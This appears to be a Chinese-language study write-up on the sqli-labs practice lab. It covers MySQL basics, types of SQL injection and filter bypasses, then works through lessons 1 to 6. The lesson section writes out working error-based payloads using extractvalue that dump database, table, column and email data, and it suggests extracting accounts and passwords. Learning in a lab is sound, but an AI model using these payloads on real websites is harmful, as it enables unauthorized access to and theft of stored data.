sqli-lab(一)
MySQL特性
图内补充:
table_schema : 表归属于的数据库
information_schema:这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库
查询当前用户:select user()
数据库版本: select version ()
数据库名: select database()
查看数据库/表:show databases/tables;
切换数据库: use 数据库名
基础查询:select 字段1, 字段2, … from 表名;
select * from 表名;
条件查询:select 字段 from 表名 where 条件
联合查询:select * from 表名 union select 1,2,3
排序: select * from 表名 order by 字段
SQL注入常见类型
按注入点类型分类
数字型注入
当输入的参数x为整形时,即select * from <表名 > where id = x
判断: 1 and 1 = 1 1 and 1 = 2 比较两者的返回页面
字符型注入
当输入的参数x为字符型时,即select * from <表名> where id = ‘x’
判断: 1‘ and ‘1’ = ‘1 1’ and ‘1’ = ‘2
按获取方式分类
基于报错的注入
利用页面回显的数据库报错信息
定义
在注入点的判断过程中,SQL语句执行后的报错信息会经过后端显示在页面中华
常见可利用函数
floor() extractvalue() updatexml() geometrycollection() polygon() multipolygon()
concat()
concat
concat(str1, str2,…)
将多个字符串连接成一个字符串
group_concat
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
使用distinct可以排除重复值
如果需要对结果中的值进行排序,可以使用order by子句
separator是一个字符串值,默认为逗号
extractvalue
extractvalue('目标xml文件名','在xml中查询的字符串')
从目标xml文件中返回包含查询值的字符串
extractvalue函数一次只能查询32位长度
解决方案:
- 加上
limit x,1
逐一查询 - 用group_concat函数把查询结果分组聚合,然后用
and xxxx not in ’xxx‘,’xxx‘
过滤掉前面回显的 - 用
substring()
截取
updatexml
updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')
修改xml文件中符合字符串的值
基于布尔的盲注
利用页面返回的不一致
基于时间的盲注
利用页面响应时间
联合查询注入
使用union关键字
堆叠查询注入
执行多条SQL语句
绕过
双写绕过
大小写绕过
空格被过滤
/**/
and/or被过滤
&& ||
SQLi-labs
lesson 1
基于报错的注入
- 验证是字符型还是数字型注入
?id = 1 and 1 = 1
和 ?id = 1 and 1 = 2
?id = 1' and '1' = '1
和 ?id = 1' and '1'='2
判断两次回显结果是否相同。
查询当前数据库
?id= 1' and (select extractvalue(1,concat(0x7e,(select database()),0x7e))) --+
、爆出数据库名为security
当然用union也可以
查询表名
?id= 1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))) --+
- 查询字段名
?id= 1' and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e))) --+
- 查询字段值
?id= 1' and (select extractvalue(1,concat(0x7e,(select group_concat(id,',',email_id) from security.emails),0x7e))) --+
发现没有显示完
?id= 1' and (select extractvalue(1,concat(0x7e,(select substring(group_concat(id,',',email_id),80,40) from security.emails),0x7e))) --+
试着这样查询一下账号和密码吧
联合注入法
1.爆字段数量
order by
2.爆数据库名
union select
注意修改id修改为负数。
先试试看哪些位置可以回显出来。
3.爆表名
4.爆字段名
5.爆字段值
lesson 2
过程和lesson 1一样。只不过是数字型注入。
lesson 3
过程和lesson 1一样,不过闭合方式为 ‘)
lesson 4
过程和lesson 1一样,不过闭合方式为 ”)
lesson 5
也可以这样做
lesson 6
也可以这样做
怎么都有报错回显。布尔盲注和时间盲注有点暴力有点纯。使用sqlmap会好得多但是我暂时不会用